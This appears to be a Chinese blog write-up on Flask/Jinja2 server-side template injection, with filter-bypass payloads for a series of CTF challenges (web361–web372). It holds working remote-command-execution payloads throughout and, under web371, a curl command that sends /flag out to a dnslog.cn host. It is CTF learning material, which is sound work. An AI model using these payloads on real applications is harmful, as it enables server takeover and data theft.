Web之SSTI

基本语法

{% ... %} for Statements 

{{ ... }} for Expressions to print to the template output

{# ... #} for Comments not included in the template output

#  ... # for Line Statements
{% set x= 'abcd' %}  声明变量
{% for i in ['a','b','c'] %}{{i}}{%endfor%} 循环语句
{% if 25==5*5 %}{{1}}{% endif %}  条件语句

这里的条件语句也可以用于盲注或者弹shell或者外带数据

基本操作

SSTI的核心是在类中找到命令执行的函数并RCE

利用内置函数

eval()

因为eval函数是一个内置函数,所以只要随便从类中找一个函数就可以调用出eval()函数了

def f():
    pass
print(f.__globals__['__builtins__'].__dict__['eval']('__import__("os").popen("ls").read()'))

上面的代码就是为了说明,随便一个什么函数都可以调出eval函数

像Flask这类架构一般会在开头就带上from flask import Flask

直接Flask.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()'))就可以了

有的还会加上url_for

所以也可以这样

url_for.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')

为什么上一个的['__builtins__']要加__dict__而后面的那个不用加?

在__main__模块中
在__main__中__builtins__与builtins是同一个东西,你可以通过这两个中的任意一个来
导入自己的函数。两者唯一的区别是__builtins__使用时不需要导入,而无论在那个模块中使
用builtins都必须先导入。

在非__main__模块中
__builtins__是对builtins的__dict__的引用,而不是builtins本身。

所以在main模块中__builtins__要加一个__builtins__.__dict__

注意,这里的__init__是一个类的初始化函数,然而并不是所有类都会有初始化函数

这里的__globals__是指在当前函数所在的环境下所导入的类或者函数

由于最前面的Flask换成什么函数都可以,所以有很多payload其实是一个道理

比如下面这个:

[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()

file和open函数

open函数是file函数的别名,在python3.8的环境下好像file函数用不了

print([].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['open']('data.json').read())

利用本身已导入os库的类

os._wrap_close

object类下面有一个os._wrap_close子类,里面包含了os类里的函数

count = 0
for i in ''.__class__.__mro__[1].__subclasses__():
    if 'os._wrap_close' in str(i):
        print(count)
    count=count+1

上面的代码可以找到这个类

linecache

看到网上的做法都是从warnings.catch_warnings类中找到linecache

直接贴一个模板

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("whoami").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

但是在别的类中也可以找到linecache

首先linecache中确实已导入了os库,在linecache.__dict__中可以看出

我们可以来找一下哪个类中有linecache

for i in [].__class__.__mro__[1].__subclasses__():
    try:
        if "linecache" in i.__init__.__globals__:
            print(i)
    except:
        pass

结果是

<class 'traceback.FrameSummary'>
<class 'traceback.TracebackException'>

可以写这样的一个脚本来找

cnt1=0

for i in [].__class__.__mro__[1].__subclasses__():
    try:
        if "traceback.FrameSummary" in str(i):
            print(cnt1)
            break
    except:
        pass
    cnt1=cnt1+1

Payload:[].__class__.__mro__[1].__subclasses__()[190].__init__.__globals__['linecache'].__dict__['os'].__dict__['popen']('ls').read()

利用subprocess库执行命令

其实也有人说用commands库来执行命令,只是好像python3.x已经把commands移除了,改成了subprocess

[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__import__']('subprocess').__dict__['Popen']('ls')

其实和之前那个利用eval的差不多,跟进一下os.popen,发现Python内部调用的就是subprocess库

获取配置信息与一些绕过

直接看Y4的博客吧OvO,写得很详细了

一些题目

web361

无waf

web362

过滤了数字

web363

过滤了单引号和双引号,可以用request来绕过

payload={{[].__class__.__base__.__subclasses__()[189].__init__.__globals__.__builtins__.__import__(request.args.x1).__dict__.popen(request.args.x2).read()}}&x1=os&x2=cat+/flag

web364

过滤了request.args,用request.cookies

GET /?name={{[].__class__.__base__.__subclasses__()[189].__init__.__globals__.__builtins__.__import__(request.cookies.x1).__dict__.popen(request.cookies.x2).read()}} HTTP/1.1
Cookie: x1=os;x2=cat /flag

web365

过滤了方括号和引号和request.args

过滤方括号考虑用__getitem__来替代

过滤引号考虑用requests.cookies

?name={{url_for.__globals__.__getitem__(request.cookies.x1).popen(request.cookies.x2).read()}}

web366

在前面的基础上过滤了下划线...

考虑用attr来绕过下划线

GET /?name={{((Flask|attr(request.cookies.init)|attr(request.cookies.globals))|attr(request.cookies.getitem)(request.cookies.x1))|attr(request.cookies.getitem)(request.cookies.eval)(request.cookies.com)}} HTTP/1.1
Cookie: x1=__builtins__;x2=cat /flag;globals=__globals__;get=__getitem__;init=__init__;eval=eval;com=__import__("os").popen("cat /flag").read();

看了别人的payload,发现自己的做法太麻烦了

?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

web367

搬了os,同web366

web368

过滤了{{}}考虑用{% %},还要加print

web369

过滤了request

用羽师傅的变量拼接来做

{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24) %}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(Flask|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)~chr(102)~chr(108)~chr(97)~chr(103)%}
{%print(x.open(file).read())%}

web370

把数字也过滤了。。。

技巧:{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|count%}可以先预处理出想要的数字

继续用羽师傅的payload

{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)~chr((cccccccccc~cc)|int)~chr((cccccccccc~cccccccc)|int)~chr((ccccccccc~ccccccc)|int)~chr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}

web371

过滤了print,考虑用curl把数据带出来

?name=
{%set a=dict(po=aa,p=aa)|join%}
{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|count%}
{%set k=dict(eeeeeeeee=a)|join|count%}
{%set l=dict(eeeeeeee=a)|join|count%}
{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}
{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|count%}
{% set b=(lipsum|string|list)|attr(a)(j)%}
{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}
{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}
{%set e=dict(o=cc,s=aa)|join%}
{% set f=(lipsum|string|list)|attr(a)(k)%}
{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}
{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}
{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}
{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(twjprs=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}
{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}atao{%endif%}

web372

过滤了count,考虑用length

总结

其实从变量拼接开始就感觉有点超越想象了。。。

继续加油!

参考资料

Y4tacker

义神

羽师傅


告别纷扰,去寻找生活的宝藏。